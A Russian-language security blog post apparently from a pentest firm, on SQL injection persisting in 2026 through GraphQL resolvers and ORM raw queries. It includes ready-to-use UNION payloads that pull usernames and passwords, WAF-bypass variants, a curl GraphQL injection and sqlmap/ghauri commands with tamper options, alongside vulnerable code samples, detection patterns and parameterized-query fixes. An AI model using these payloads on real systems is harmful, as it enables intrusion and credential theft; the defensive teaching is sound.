Обсудить проект

SQLi в 2026: она живёт, она дышит, она в вашем GraphQL

06.07.2026

«SQL injection известен с конца 90-х. Фикс известен с конца 90-х. Уязвимость всё ещё #3-5 в OWASP Top 10 2026. Что-то тут не так.» 💀

SQLi должен был умереть лет 15 назад. Не умер. Просел в рейтинге, спрятался за модными абстракциями типа GraphQL и ORM — но дышит как ни в чём не бывало. Свежий пример: CVE-2026-40762 — неавторизованная SQLi в плагине WPGraphQL для WordPress, обнаруженная буквально в июне 2026. Годы прогресса, а инъекция всё та же классика.

💉 Почему SQLi не умирает

Суть проблемы не менялась с 1998 года: пользовательский ввод интерпретируется как код, а не как данные. Всё остальное — детали.

Пять типов SQLi, актуальных в 2026:
→ Classic (in-band) — результат прямо в ответе
→ Blind boolean — угадываешь по true/false поведению
→ Blind time-based — угадываешь по времени отклика
→ Out-of-band — эксфильтрация через DNS/HTTP
→ Second-order — payload сохраняется, стреляет позже в другом месте

🔥 Второй порядок — это то, о чём все забывают. Ты регистрируешься с именем admin’—, оно спокойно сохраняется в БД, а потом стреляет при генерации отчёта или email-уведомления. Тестируй не только input, но и то, где этот input используется повторно.

🕸️ SQLi в GraphQL: старая болезнь в новой обёртке

Разработчики думают, что GraphQL «современный», значит «безопасный». Ха. Если под капотом Postgres/MySQL, а резолверы строят SQL-запросы из аргументов запроса — привет, инъекция.praetorian+1

Как это выглядит на практике:

# Обычный GraphQL query
query {
  searchUsers(name: "john") {
    id
    email
  }
}

Резолвер на бэкенде может выглядеть так:

// Уязвимый резолвер (да, это реально пишут в 2026)
const query = `SELECT id, email FROM users WHERE name = '${args.name}'`;
db.query(query);
# Инъекция через аргумент
query {
  searchUsers(name: "john' UNION SELECT username, password FROM admin--") {
    id
    email
  }
}

💰 Реальный кейс: исследователь заработал $3500 на blind SQLi в GraphQL API — просто отправил одиночную кавычку ‘ в тело запроса и Burp Scanner поймал разницу в ответе сервера. Ничего сложного, просто никто не проверял.

→ Аргументы фильтрации: filter, search, where, orderBy
→ Кастомные резолверы с raw SQL (Praetorian нашёл именно так на Postgres) [web:34]
→ Introspection query → смотри имена полей → угадывай структуру БД
→ Batching атаки: несколько инъекций в одном запросе за раз
# Тест SQLi в GraphQL через curl
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "query { searchUsers(name: \"test'\'' OR 1=1--\") { id email } }"}'

# Если вернулись ВСЕ пользователи вместо одного — бинго 🎯

🛡️ WAF-байпас: стена — это приглашение

WAF ловит UNION SELECT и OR 1=1 в чистом виде. Но кто сказал, что нужно писать чисто?

-- Классика, которую блокирует любой WAF
' UNION SELECT username, password FROM users--

-- Байпас через регистр и комментарии
' UnIoN/**/SeLeCt username,password FROM users--

-- Байпас через альтернативные пробелы
'/**/UNION/**/SELECT/**/username,password/**/FROM/**/users--

-- Байпас через инлайн-комментарии MySQL
'/*!50000UNION*/ SELECT username,password FROM users--

-- JSON-based SQLi — WAF часто не парсит JSON-тело правильно [web:39]
{"id": "1 UNION SELECT username,password FROM users"}

🧠 Лайфхак: если WAF блокирует ключевые слова — попробуй stacked queries через ; или закодируй payload в hex/URL-encoding. Многие WAF смотрят на сырую строку, а не на декодированный результат.

# Автоматический WAF bypass с sqlmap
sqlmap -u "https://target.com/api?id=1" \
  --tamper=space2comment,charencode,between \
  --level=5 --risk=3 --random-agent

# Ghauri — быстрая альтернатива sqlmap для blind SQLi
ghauri -u "https://target.com/search?q=1" --batch

🔍 ORM не спасает — просто прячет проблему

Django, SQLAlchemy, Sequelize, Prisma — все они дают «безопасные» методы по умолчанию. Но у каждого есть escape hatch — .raw(), .query(), text() — и разработчики их используют, когда ORM «не умеет» то, что нужно.

# ОПАСНО — raw query с конкатенацией строк
User.objects.raw(f"SELECT * FROM users WHERE name = '{name}'")

# ОПАСНО — Sequelize с sequelize.literal
sequelize.query(`SELECT * FROM users WHERE id = ${userId}`)

# БЕЗОПАСНО — параметризованный запрос
User.objects.raw("SELECT * FROM users WHERE name = %s", [name])

💣 Аудит codebase за 30 секунд: ищи по проекту f»SELECT, «SELECT » +, .raw(, text( — это твои кандидаты на инъекцию.

grep -rn "f\"SELECT\|SELECT \" +\|\.raw(\|text(" --include="*.py" --include="*.js" .

🎯 Чеклист пентестера SQLi 2026

Ручное тестирование:

  • Кидай ', ", 1=1--, 1=2-- в каждый параметр — сравнивай ответы
  • Тестируй время отклика: ' AND SLEEP(5)-- — если ответ пришёл через 5 секунд, это time-based blind
  • Проверяй second-order: сохрани payload в профиле, ищи, где он «выстрелит» повторно
  • В GraphQL — брутфорси каждый filter/search аргумент через introspection

Автоматизация:

# Полный проход sqlmap с высоким уровнем детекта
sqlmap -u "https://target.com/api/endpoint" \
  --data="param1=value1&param2=value2" \
  --level=5 --risk=3 --dbms=mysql --batch

# GraphQL-специфичный скан через InQL (Burp extension)
# Установи InQL → он сам построит все query из схемы
# Прогони каждый через sqlmap с --data

Blue-team детект (если ты на другой стороне):

-- Sigma-правило: ищем классику в логах
UNION SELECT | SLEEP( | WAITFOR DELAY | information_schema

-- Включи slow query logging — засечёт time-based атаки [web:45]
SET GLOBAL slow_query_log = 'ON';
SET GLOBAL long_query_time = 3;

🏆 Три правила, которые все знают и все игнорируют

  1. Параметризованные запросы везде. Без исключений, без «но это же внутренний эндпоинт»
  2. Least privilege для БД-аккаунта приложения. Если у аппки есть ALL PRIVILEGES — это баг сам по себе, даже без SQLi
  3. WAF — это вторая линия, не первая. Патчи код, а не молись на сигнатуры

Итог: SQLi не умер, потому что разработчики продолжают верить, что новый фреймворк = новая безопасность. GraphQL, ORM, микросервисы — обёртка меняется, суть нет: где есть строковая конкатенация с юзер-инпутом, там будет дырка. WAF — не стена, а приглашение поискать байпас. 😈